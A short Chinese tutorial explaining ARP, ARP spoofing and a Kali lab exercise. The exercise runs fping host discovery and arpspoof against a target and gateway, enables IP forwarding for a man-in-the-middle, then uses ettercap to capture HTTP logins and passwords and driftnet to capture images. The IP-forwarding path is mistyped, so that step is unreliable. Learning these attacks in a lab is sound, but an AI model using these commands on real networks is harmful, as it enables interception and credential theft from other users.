ARP
ARP(Address Resolution Protocol)是地址解析协议,
是一种将IP地址转化成物理地址的协议。从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。ARP具体说来就是将网络层(也就是相当于OSI的第三层)地址解析为数据链路层(也就是相当于OSI的第二层)的物理地址(注:此处物理地址并不一定指MAC地址)。
ARP原理
某机器A要向主机B发送报文,会查询本地的ARP缓存表,找到B的IP地址对应的MAC地址后,就会进行数据传输。如果未找到,则A广播一个ARP请求报文(携带主机A的IP地址Ia——物理地址Pa),请求IP地址为Ib的主机B回答物理地址Pb。网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。
ARP欺骗
在局域网中,黑客经过收到ARP Request广播包,能够偷听到其它节点的 (IP, MAC) 地址, 黑客就伪装为A,告诉B (受害者) 一个假地址,使得B在发送给A 的数据包都被黑客截取;ARP欺骗是局域网中常用的攻击手段,其目的是对局域网中的目标机数据包进行转发,以实现中间人攻击,进而对数据监听、重放、钓鱼等攻击。
ARP实战
在kali虚拟机下进行练习
本机IP
查看局域网中哪些主机在线fping -asg 192.168.231.0/24
(局域网的网段)
使用arpspoof工具进行欺骗,arpspoof -h
,
输入arpspoof -i eth0 -t 192.168.0.102 -r 192.168.0.1
arpspoof -i 攻击机网卡 -t 目标主机IP 目标主机网关。
此时目标机已经断网。
ctrl+c停止断网攻击。
ARP欺骗
linux默认不支持ip转发,修改配置文件以开启流量转发echo 1 >/proc/sys/net/ipv4/ip_dorward
依然使用ARPSpoof工具,输入arpspoof -i eth0 -t 192.168.0.102 -r 192.168.0.1
开始欺骗,
接下来使用ettercap嗅探工具来抓取http协议上的登录账户和密码ettercap -Tq -i eth0
进行图片获取使用Driftnet -i eth0